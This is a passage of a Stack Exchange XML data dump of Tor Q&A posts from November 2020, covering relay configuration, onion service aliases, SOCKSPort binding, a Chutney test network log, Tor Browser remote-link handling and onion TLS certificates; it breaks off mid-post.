  <row Id="21730" PostTypeId="2" ParentId="21508" CreationDate="2020-11-17T09:02:26.840" Score="1" Body="&lt;p&gt;If you're looking for IP address &amp;quot;obfuscation&amp;quot; rather than anonymity, you could run Tor standalone and take a normal firefox and set it's proxy settings to the socks port of Tor.&lt;/p&gt;&#xA;&lt;p&gt;If you're on windows, download the &amp;quot;Tor expert bundle&amp;quot; &lt;a href=&quot;https://www.torproject.org/download/tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/tor/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Configure torrc to have a socks port, run Tor, configure firefox to the set socks port, success.&lt;/p&gt;&#xA;&lt;p&gt;But remember, Tor isn't for streaming videos. You won't have fun with buffering and strain the network unnecessarily for other users. Get a vpn for that.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2020-11-17T09:02:26.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21732" PostTypeId="2" ParentId="13577" CreationDate="2020-11-17T17:44:42.010" Score="0" Body="&lt;p&gt;Tor works on arm linux perfectly fine.&lt;/p&gt;&#xA;&lt;p&gt;Tor Browser, nor TAILS works on ARM as of this time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/blueprint/ARM_platforms/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/blueprint/ARM_platforms/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;TAILS states they don't have the resources nor pre-req's such as TOR on arm.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12631&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/12631&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;TOR ticket tracker for porting to ARM hasn't had much traction at all.&lt;/p&gt;&#xA;&lt;p&gt;I wouldn't expect either of these projects to be ported to arm anytime soon.&lt;/p&gt;&#xA;" OwnerUserId="31232" LastActivityDate="2020-11-17T17:44:42.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21733" PostTypeId="2" ParentId="9160" CreationDate="2020-11-17T17:47:51.777" Score="1" Body="&lt;p&gt;Tor Browser does not work on ARM as of this time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12631&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/12631&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;TOR ticket tracker for porting to ARM hasn't had much traction at all.&lt;/p&gt;&#xA;&lt;p&gt;I wouldn't expect this project to be ported to arm anytime soon.&lt;/p&gt;&#xA;&lt;p&gt;Note: tor is available on raspberry pi. This is for running a relay. This is different from the tor browser.&lt;/p&gt;&#xA;" OwnerUserId="31232" LastActivityDate="2020-11-17T17:47:51.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21734" PostTypeId="2" ParentId="21344" CreationDate="2020-11-17T18:05:58.647" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It is perfectly safe to download TOR through your browser.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DO NOT use a VPN with TOR. Adding more hops is discouraged by the Tor Project. Using a VPN with TOR can open you up to more potential security opportunities for your traffic to be tied to you.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For the average person, very safe, much safer than browsing in the clear. There are known vulnerabilities in the TOR Network, though for the most part, only have the potential to be abused by large APT's or Nation State's that have millions in resources.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you want to just browse sites without being tracked, you're fine using TOR.&lt;/p&gt;&#xA;&lt;p&gt;Some users go as far as installing a dedicated amnesiac operating system called TAILS that leaves no traces on the computer it is run on. But for most use cases would be a bit extra.&lt;/p&gt;&#xA;" OwnerUserId="31232" LastActivityDate="2020-11-17T18:05:58.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21736" PostTypeId="2" ParentId="4541" CreationDate="2020-11-18T19:22:04.037" Score="0" Body="&lt;p&gt;This workaround doesn't work anymore. &amp;quot;New identity&amp;quot; just brings you back to the same &amp;quot;Just Ckecking&amp;quot; page. Only in rare cases (1 out of 20+) it does something.&lt;/p&gt;&#xA;" OwnerUserId="31238" LastActivityDate="2020-11-18T19:22:04.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21741" PostTypeId="1" CreationDate="2020-11-19T21:45:05.133" Score="0" ViewCount="158" Body="&lt;p&gt;I'm interested in setting up a simulated tor network on a closed network. I'd like to setup multiple VMs as tor relays and somehow have tor on another VM create a circuit based on the list of tor nodes available in the closed network. I'm not entirely sure how to go about it. I looked at experimentor but it seems like its been abandoned. I don't know if chutney will let me do such thing and if it does, I don't know how to even after reading the README on their git repo.&#xA;If anyone knows how to do this, please let me know. Most of the questions that asked about doing a similar thing are about 8 years old. So I can't find a solution that's somewhat recent (2 years old). Thank you!&lt;/p&gt;&#xA;" OwnerUserId="31242" LastActivityDate="2020-11-19T21:45:05.133" Title="How to simulate tor in a close network?" Tags="|proxy|node|research|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21742" PostTypeId="1" CreationDate="2020-11-19T22:20:46.667" Score="0" ViewCount="56" Body="&lt;p&gt;Recently, I donated Tor $25 via Bitcoin, but then I realized that they’re running a campaign that they will give people who donated $75 or more a T-shirt. Just wondering if I can send them $50 more and get a T-shirt.&lt;/p&gt;&#xA;" OwnerUserId="31244" LastActivityDate="2021-12-15T03:09:00.803" Title="Can I get a T-shirt by donating Tor $75 via cryptocurrency?" Tags="|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21743" PostTypeId="2" ParentId="21742" CreationDate="2020-11-19T23:13:33.007" Score="0" Body="&lt;p&gt;You should send them an email and ask. It may take them a few days to reply as they get a lot of email.&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.torproject.org/contact/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/contact/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For questions and comments about Tor the non-profit organization: trademark questions, affiliation and coordination, contract inquiries, etc, please email frontdesk[at]torproject.org. &lt;strong&gt;For donor-related questions, contact giving[at]torproject.org.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-11-19T23:13:33.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21744" PostTypeId="1" CreationDate="2020-11-20T10:29:06.033" Score="0" ViewCount="57" Body="&lt;p&gt;I've set up a computer in my home just to run a relay. I have a fiber connection to my house and want to put it to good use so im trying to run tor. My server is currently running debian,(Ubuntu) as it is what im confortable with but i've also tried using FreeBSD as it is recomended for tor.&lt;/p&gt;&#xA;&lt;p&gt;The problem im facing is that tor complains that the ORPort is unreachable. I've tried using a common port like 443, and the default, 9001. Nether of these worked as i had the same error comming up as before. The client is able to bootstrap to 100% but it fails in trying to validate my server is reachable.&lt;/p&gt;&#xA;&lt;p&gt;I am currently behind NAT so the first thing i did was set up a port forward from external port 443 to internel port 443 on my computer. This did not result in a difference so i tried enabeling dmz so it would externally but im having no luck. I hope you guys might have a answer. Heres my torrc file:&lt;/p&gt;&#xA;&lt;p&gt;change the nickname &amp;quot;myNiceRelay&amp;quot; to a name that you like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Nickname Brick&#xA;ORPort 443&#xA;ExitRelay 0&#xA;SocksPort 0&#xA;Control Socket 0&#xA;# Change the email address below and be aware that it will be published&#xA;Contact Info tor-operator@your-emailaddress-domain`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks for the help in advance :)&lt;/p&gt;&#xA;" OwnerUserId="31247" LastEditorUserId="24966" LastEditDate="2021-04-07T20:01:36.520" LastActivityDate="2021-04-07T20:01:36.520" Title="Server is unreachable" Tags="|relays|linux|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21745" PostTypeId="1" AcceptedAnswerId="21746" CreationDate="2020-11-20T15:17:21.740" Score="1" ViewCount="294" Body="&lt;p&gt;I have a few .onion address and I want to make them operation system wide aliases so everytime I entered their alias, OS resolves them to their original .onion address and and then tor opens them.&#xA;I tried to accomplish this by adding them in hosts file (e.g /etc/hosts) but seems that tor does not care about hosts file.&#xA;example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;fvadgbdfgbdfg5vdg46dg6v4df6gv4dfgd6f4g8vdf4g864.onion   blah.fx&#xA;g546vgvhgewg34grthrth45hg5tgt5rgrsgdfsg45gyregd.onion   foo.fx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where can I add these aliases?&lt;/p&gt;&#xA;" OwnerUserId="31248" LastEditorUserId="31248" LastEditDate="2020-11-20T15:22:55.040" LastActivityDate="2020-11-20T15:32:37.993" Title="Creating alias for .onion addresses" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21746" PostTypeId="2" ParentId="21745" CreationDate="2020-11-20T15:32:37.993" Score="2" Body="&lt;p&gt;Your closest option would be tor's &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#MapAddress&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MapAddress&lt;/code&gt; option&lt;/a&gt;. You can use this to set up an alias for all connections made by the tor client.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MapAddress blah.fx fvadgbdfgbdfg5vdg46dg6v4df6gv4dfgd6f4g8vdf4g864.onion&#xA;MapAddress  foo.fx g546vgvhgewg34grthrth45hg5tgt5rgrsgdfsg45gyregd.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-11-20T15:32:37.993" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21748" PostTypeId="1" CreationDate="2020-11-21T18:24:27.523" Score="0" ViewCount="40" Body="&lt;p&gt;I have tor running through Termux on my phone and I was able to set up Firefox Android to use that tor connection without any problems.  Now, I'd like to be able to use the stock Samsung Email Client to send &amp;amp; receive email in the same manner.  I know that in order to do that, I'll need to make adjustments in the email server settings as shown in the enclosed screenshot.  Would anyone happen to know what the settings are in order to accomplish that end?  Thanks in advance to anyone who can help me.&lt;img src=&quot;https://i.stack.imgur.com/o9uwj.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="31252" LastEditorUserId="31252" LastEditDate="2020-11-21T19:47:05.143" LastActivityDate="2020-11-21T19:47:05.143" Title="Samsung Email Client" Tags="|onion-routing|android|email|server|settings|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21749" PostTypeId="1" CreationDate="2020-11-21T18:51:04.597" Score="0" ViewCount="121" Body="&lt;p&gt;On &lt;a href=&quot;https://2019.www.torproject.org/docs/onion-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/onion-services&lt;/a&gt; it says that whenever the client or server contacts the rendezvous point or one introduction point, it always builds a full tor circuit.&lt;/p&gt;&#xA;&lt;p&gt;So, why does it say (near the ending) that&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In general, the complete connection between client and onion service&#xA;consists of 6 relays: 3 of them were picked by the client with the&#xA;third being the rendezvous point and the other 3 were picked by the&#xA;onion service.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It implies a circuit of 2 relays from the client to the RP. Maybe the client builds a full circuit to the RP only at the beginning (to share the one-time-secret) and then later uses it as third node?&lt;/p&gt;&#xA;" OwnerUserId="31251" LastActivityDate="2020-11-21T18:51:04.597" Title="If a client builds a full circuit to the rendezvous point, how can there be 6 hops between client and hidden service?" Tags="|onion-services|onion-routing|circuit|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21750" PostTypeId="1" CreationDate="2020-11-23T02:10:22.130" Score="0" ViewCount="696" Body="&lt;p&gt;I want to host Tor onion hidden service, I want to know what is the best technique to host it, can someone helps me with the below questions&lt;/p&gt;&#xA;&lt;p&gt;What is the best server operating system for hosting Tor onion hidden service ( Debian - Fedora - Ubuntu  - Red Hat Linux - Gentoo - SUSE Linux - Ipredia OS - Black Arch Linux - Discreete Linux - Linux Kodachi - Parrot Security OS - Mofo Linux - Subgraph OS - TrueOS - FreeBSD -  Qubes-Whonix)&lt;/p&gt;&#xA;&lt;p&gt;Can Qubes-Whonix use it as server OS for hosting Tor onion hidden service?&lt;/p&gt;&#xA;&lt;p&gt;Is Whonix mandatory for anonymity and privacy or can I just use any other Linux distribution?&lt;/p&gt;&#xA;&lt;p&gt;If Whonix Mandatory for anonymity and privacy which approach below should I use to host tor onion hidden service?&lt;/p&gt;&#xA;&lt;p&gt;1)Linux with VirtualBox&#xA;2)Qubes-Whonix&#xA;3)Linux with KVM&lt;/p&gt;&#xA;&lt;p&gt;Is it safe to use a VPN like NordVPN with TOR for more anonymity and privacy or just Tor?&lt;/p&gt;&#xA;&lt;p&gt;Is mini pc like intel nuc or kingdel good for being used as server machine for hosting Tor onion hidden service? what is hardware System Requirements (CPU &amp;amp; GPU &amp;amp; Ram)?&lt;/p&gt;&#xA;&lt;p&gt;What can I do in PHP or Laravel framework configuration to ensure it is anonymous and compatible with tor and don't exploit anything to show identity and to be anonymous and safe?&lt;/p&gt;&#xA;" OwnerUserId="31257" LastActivityDate="2021-07-08T22:35:19.440" Title="What is best Practices for Hosting Tor Onion Hidden Service?" Tags="|configuration|whonix|qubes|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21752" PostTypeId="1" CreationDate="2020-11-23T22:01:25.520" Score="0" ViewCount="877" Body="&lt;p&gt;Running Ubuntu 20.10 and I have made Tor my default browser. It works well except when I click on external links (from an application, say ULauncher or a ebook reader).&lt;/p&gt;&#xA;&lt;p&gt;Then I get an error message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Tor Browser is already running but is not responding. To use Tor Browser you must first close the existing Tor Browser process, restart your device, or use a different profile.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TxQ2T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TxQ2T.png&quot; alt=&quot;Screenshot of error message dialogue&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31243" LastEditorUserId="25432" LastEditDate="2022-01-09T17:42:06.960" LastActivityDate="2022-02-08T20:06:55.623" Title="External links do not open on Tor browser" Tags="|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21754" PostTypeId="1" CreationDate="2020-11-26T15:52:14.323" Score="0" ViewCount="51" Body="&lt;p&gt;I want to run a Nextcloud server on my home network and I also want it to be accessible from the internet.  Instead trying to tunnel the port to internet and messing with SSL certificates, running it as a hidden Tor onion service seems to be the best solution. Ideally I can use the same (onion) address for connecting my Nextcloud clients to the server, both while at home and while away from home.&lt;/p&gt;&#xA;&lt;p&gt;One question I have is: if I use the onion address on my home network, will traffic go out of my home network before connecting to my Nextcloud Tor service, or will it minimize this?&lt;/p&gt;&#xA;&lt;p&gt;It would obviously make a big difference in speed if it can connect directly.&lt;/p&gt;&#xA;" OwnerUserId="3508" LastEditorUserId="3508" LastEditDate="2020-11-26T15:59:51.223" LastActivityDate="2021-12-22T07:02:55.240" Title="Will Tor route thru my internet connection (and back) when connecting to onion service on local network?" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21756" PostTypeId="2" ParentId="21754" CreationDate="2020-11-26T22:00:01.257" Score="0" Body="&lt;p&gt;Yes, even while you're at home on the same network, your traffic will travel through the Tor network over the Internet. Since onion services are supposed to be &amp;quot;hidden&amp;quot;, the Tor client doesn't know that they're on the same network.&lt;/p&gt;&#xA;&lt;p&gt;If you are only using Tor for the &amp;quot;NAT traversal&amp;quot; feature, you might be interested in setting up a single-hop onion service using the &lt;code&gt;HiddenServiceSingleHopMode&lt;/code&gt; torrc setting, which will reduce the number of relays between the client and service from 6 to 3. This would improve performance, but your service would no longer be anonymous.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-11-26T22:00:01.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21757" PostTypeId="1" AcceptedAnswerId="21759" CreationDate="2020-11-27T01:46:09.343" Score="0" ViewCount="146" Body="&lt;p&gt;I have a server on the LAN that hosts a few minor Tor hidden services. I'd like it to also allow connections from the LAN to allow other computers on the LAN to use the SOCKSPORT rather than each one have to individually run their own tor proxy. In torrc if I set the following the tor daemon fails to bootstrap when I restart the machine. /var/log/tor/notices.log is empty upon boot and systemctl status tor shows tor as loaded, but the daemon doesn't allow connections.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SOCKSPORT localhost:9050&#xA;SOCKSPORT ip.of.my.server:9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I run sudo systemctl restart tor, tor restarts fine and begins to work, accepting connections on both localhost and the IP address without any issues. I can start/stop tor using systemd as much as I want and it works fine until reboot when the problem starts again.&lt;/p&gt;&#xA;&lt;p&gt;If I comment out &lt;code&gt;SOCKSPORT ip.of.my.server:9050&lt;/code&gt; and reboot tor starts fine. Note that using SOCKSPORT ip.of.my.server:9100 results in the same problem, i.e. changing the port for the LAN doesn't change the error behavior. Also, this happens regardless of any SOCKSPolicys that may be set.&lt;/p&gt;&#xA;&lt;p&gt;Currently running tor 0.3.5.10 on Debian 10.&lt;/p&gt;&#xA;" OwnerUserId="24942" LastActivityDate="2020-11-27T14:48:12.360" Title="Tor fails to bootstrap when SOCKSPORT set to anything but localhost" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21758" PostTypeId="2" ParentId="21752" CreationDate="2020-11-27T09:42:47.383" Score="0" Body="&lt;p&gt;This happens, because Tor Browser does not accept remote commands by default. See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/15185&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/15981&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for details. As mentioned in the tickets, you can work around this by starting the browser with the argument &lt;code&gt;--allow-remote&lt;/code&gt;. You will need to add this option when you start the first instance and when trying to open a link from an external application. To facilitate this, you can create a simple bash-script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;FOLDER=$(dirname $0)&#xA;$FOLDER/start-tor-browser --allow-remote $@&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Save this script in the Tor Browser folder (next to your &lt;code&gt;start-tor-browser&lt;/code&gt; file and grant execution rights. You can then use this script as your default browser and everything should work as expected. &lt;strong&gt;Keep in mind though, that the developers probably had a reason to make &lt;code&gt;--no-remote&lt;/code&gt; the default option.&lt;/strong&gt; I think &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12763&quot; rel=&quot;nofollow noreferrer&quot;&gt;the main concern&lt;/a&gt; is, that apps on your system could open webpages via Tor and link your Tor identity with what they know about your system.&lt;/p&gt;&#xA;" OwnerUserId="31280" LastActivityDate="2020-11-27T09:42:47.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21759" PostTypeId="2" ParentId="21757" CreationDate="2020-11-27T14:48:12.360" Score="0" Body="&lt;p&gt;Turns out it was an issue with my torrc. The comments in torrc makes it clear you can specify multiple bind addresses (i.e. localhost, 192.168.0.10 etc.). It doesn't make it clear that each bind address needs a different port. In perusing /var/log/syslog it turns out tor was failing to start because I had specified 127.0.0.1:9050 AND ip.of.my.server:9050. I should have just done only 0.0.0.0:9050, which binds to all interfaces.&lt;/p&gt;&#xA;&lt;p&gt;Also a related note. torrc comments specifically mention using &lt;code&gt;localhost:9050&lt;/code&gt; but my tor fails when this is used and /var/log/syslog specifically says &lt;code&gt;Nov 27 06:26:12 cryptoDaemon tor[1843]: Nov 27 06:26:12.331 [warn] Malformed IP &amp;quot;localhost&amp;quot; in address pattern; rejecting.&lt;/code&gt; The default comments in torrc should not use 'localhost' as an example if that exact verbiage is invalid.&lt;/p&gt;&#xA;" OwnerUserId="24942" LastActivityDate="2020-11-27T14:48:12.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21760" PostTypeId="1" AcceptedAnswerId="21774" CreationDate="2020-11-27T22:49:24.047" Score="0" ViewCount="187" Body="&lt;p&gt;I am using Chutney to create an internal tor network. I have three authority servers and one exit relay. I am using the templates generated by chutney (networks/basic-min). I have created separate VMs with their own internal IP address and have the three authority servers and exit relays communicating with each other and generating circuits. However, when I try to get the tor client up and running using the chutney client generated template (with some slight modifications) I can't get the client to connect to my tor network. Instead it seems to reach out and get the consensus from the real authority servers and ignores my authority servers. Why won't my tor client connect to my authority servers since I am specifying it in the torrc file?&lt;/p&gt;&#xA;&lt;p&gt;Here is my notice.log output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Nov 27 22:40:57.546 [notice] Tor 0.3.2.10 (git-0edaa32732ec8930) opening new log file.&#xA;Nov 27 22:40:57.522 [warn] OpenSSL version from headers does not match the version we're running with. If you get weird crashes, that might be why. (Compiled with 1010007f: OpenSSL 1.1.0g  2 Nov 2017; running with 1010100f: OpenSSL 1.1.1  11 Sep 2018).&#xA;Nov 27 22:40:57.539 [notice] Tor 0.3.2.10 (git-0edaa32732ec8930) running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd 1.3.3.&#xA;Nov 27 22:40:57.540 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 27 22:40:57.540 [notice] Read configuration file &amp;quot;/usr/share/tor/tor-service-defaults-torrc&amp;quot;.&#xA;Nov 27 22:40:57.540 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Nov 27 22:40:57.545 [warn] You have used DirAuthority or AlternateDirAuthority to specify alternate directory authorities in your configuration. This is potentially dangerous: it can make you look different from all other Tor users, and hurt your anonymity. Even if you've specified the same authorities as Tor uses by default, the defaults could change in the future. Be sure you know what you're doing.&#xA;Nov 27 22:40:57.545 [warn] TestingTorNetwork is set. This will make your node almost unusable in the public Tor network, and is therefore only advised if you are building a testing Tor network!&#xA;Nov 27 22:40:57.545 [notice] Scheduler type KIST has been enabled.&#xA;Nov 27 22:40:57.546 [notice] Opening Socks listener on 127.0.0.1:9005&#xA;Nov 27 22:40:57.546 [notice] Opening Control listener on 127.0.0.1:8005&#xA;Nov 27 22:40:57.546 [warn] Your log may contain sensitive information - you disabled SafeLogging, and you're logging more than &amp;quot;notice&amp;quot;. Don't log unless it serves an important reason. Overwrite the log afterwards.&#xA;Nov 27 22:40:57.546 [notice] Not disabling debugger attaching for unprivileged users.&#xA;Nov 27 22:40:57.548 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Nov 27 22:40:57.641 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Nov 27 22:40:57.744 [notice] Bootstrapped 0%: Starting&#xA;Nov 27 22:40:57.884 [warn] Consensus includes unrecognized authority 'dannenberg' at dannenberg.torauth.de:80 (contact Andreas Lehner; identity 0232AF901C31A04EE9848595AF9BB7620D4C5B2E)&#xA;Nov 27 22:40:57.884 [warn] Consensus includes unrecognized authority 'tor26' at 86.59.21.38:80 (contact Peter Palfrader; identity 14C131DFC5C6F93646BE72FA1401C02A8DF2E8B4)&#xA;Nov 27 22:40:57.884 [warn] Consensus includes unrecognized authority 'longclaw' at 199.58.81.140:80 (contact Riseup Networks &amp;lt;collective at riseup dot net&amp;gt; - 1nNzekuHGGzBYRzyjfjFEfeisNvxkn4RT; identity 23D15D965BC35114467363C165C4F724B64B4F66)&#xA;Nov 27 22:40:57.884 [warn] Consensus includes unrecognized authority 'bastet' at 204.13.164.118:80 (contact stefani &amp;lt;nocat at readthefinemanual dot net&amp;gt; 4096/F4B863AD6642E7EE; identity 27102BC123E7AF1D4741AE047E160C91ADC76B21)&#xA;Nov 27 22:40:57.884 [warn] Consensus includes unrecognized authority 'maatuska' at 171.25.193.9:443 (contact 4096R/1E8BF34923291265 Linus Nordberg &amp;lt;linus@nordberg.se&amp;gt;; identity 49015F787433103580E3B66A1707A00E60F2D15B)&#xA;Nov 27 22:40:57.884 [warn] Consensus includes unrecognized authority 'moria1' at 128.31.0.34:9131 (contact 1024D/EB5A896A28988BF5 arma mit edu; identity D586D18309DED4CD6D57C18FDB97EFA96D330566)&#xA;Nov 27 22:40:57.884 [warn] Consensus includes unrecognized authority 'dizum' at 45.66.33.45:80 (contact FD790065EBBD5E7AE6D039620D7F81CD19147711 Alex de Joode &amp;lt;usura@sabotage.org&amp;gt;; identity E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58)&#xA;Nov 27 22:40:57.884 [warn] Consensus includes unrecognized authority 'gabelmoo' at 131.188.40.189:80 (contact 4096R/261C5FBE77285F88FB0C343266C8C2D7C5AA446D Sebastian Hahn &amp;lt;tor@sebastianhahn.net&amp;gt; - 12NbRAjAG5U3LLWETSF7fSTcdaz32Mu5CN; identity ED03BB616EB2F60BEC80151114BB25CEF515B226)&#xA;Nov 27 22:40:57.884 [warn] Consensus includes unrecognized authority 'Faravahar' at 154.35.175.225:80 (contact 0x0B47D56D Sina Rabbani (inf0) &amp;lt;sina redteam net&amp;gt;; identity EFCBE720AB3A82B99F9E953CD5BF50F7EEFC7B97)&#xA;Nov 27 22:40:57.884 [warn] Consensus does not include configured authority 'torauth1' at 192.168.235.143:7000 (identity 659F85E01F83C9E255F88A3CC4AA03CEEC726650)&#xA;Nov 27 22:40:57.884 [warn] Consensus does not include configured authority 'torauth2' at 192.168.235.144:7001 (identity 99616D699019CE18F83B8C272077C23F50CD0E0F)&#xA;Nov 27 22:40:57.884 [warn] Consensus does not include configured authority 'torauth3' at 192.168.235.145:7002 (identity 5F62E16A29A766A234755AEEEF69F745318F1E14)&#xA;Nov 27 22:40:57.884 [warn] A consensus needs 2 good signatures from recognized authorities for us to accept it. This one has 0 (). It has 9 signatures from authorities we don't recognize.&#xA;Nov 27 22:40:57.884 [warn] Not enough good signatures on networkstatus consensus&#xA;Nov 27 22:40:57.884 [warn] Couldn't load consensus microdesc networkstatus from cache&#xA;Nov 27 22:40:57.985 [notice] Starting with guard context &amp;quot;default&amp;quot;&#xA;Nov 27 22:40:57.986 [notice] Signaled readiness to systemd&#xA;Nov 27 22:40:58.675 [notice] Opening Control listener on /var/run/tor-relay/control&#xA;Nov 27 22:40:58.676 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Nov 27 22:40:58.676 [notice] Bootstrapped 10%: Finishing handshake with directory server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31242" LastEditorUserId="24966" LastEditDate="2020-11-28T01:25:53.680" LastActivityDate="2020-12-03T16:13:56.597" Title="Chutney tor client connecting to outside authority servers" Tags="|client|troubleshooting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21761" PostTypeId="2" ParentId="13887" CreationDate="2020-11-28T12:21:32.600" Score="2" Body="&lt;p&gt;As of February 2020, &lt;a href=&quot;https://github.com/letsencrypt/boulder/issues/4620#issuecomment-589197404&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is now technically possible&lt;/a&gt;, but it has yet to be implemented by Let's Encrypt.&lt;/p&gt;&#xA;&lt;h3&gt;Why https for &lt;code&gt;.onion&lt;/code&gt; domains?&lt;/h3&gt;&#xA;&lt;p&gt;First, I think it's necessary to point out that there are non-security-related, logistical reasons for why you'd want to add a valid TLS cert for a website served on an onion service: there are many &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/notification&quot; rel=&quot;nofollow noreferrer&quot;&gt;tools/protocols&lt;/a&gt; that are designed to &lt;a href=&quot;https://community.letsencrypt.org/t/letsencrypt-for-onion/10045/23&quot; rel=&quot;nofollow noreferrer&quot;&gt;stubbornly refuse to work over http&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Even though a service is securely hosted through a &lt;code&gt;.onion&lt;/code&gt; on http, it may not be possible to get existing services working over an onion service domain without using https and a valid cert.&lt;/p&gt;&#xA;&lt;p&gt;Moreover, it can be non-trivial to point a &lt;code&gt;.onion&lt;/code&gt; at existing websites without serving them over https, and &lt;a href=&quot;https://github.com/letsencrypt/boulder/issues/4620#issuecomment-735219149&quot; rel=&quot;nofollow noreferrer&quot;&gt;just getting a cert for your &lt;code&gt;.onion&lt;/code&gt; sites may be the easiest way to bring your existing websites up on the tor network&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Ballot SC27v3: Version 3 Onion Certificates&lt;/h3&gt;&#xA;&lt;p&gt;In early 2020, a proposal (&lt;a href=&quot;https://cabforum.org/2020/02/20/ballot-sc27v3-version-3-onion-certificates/&quot; 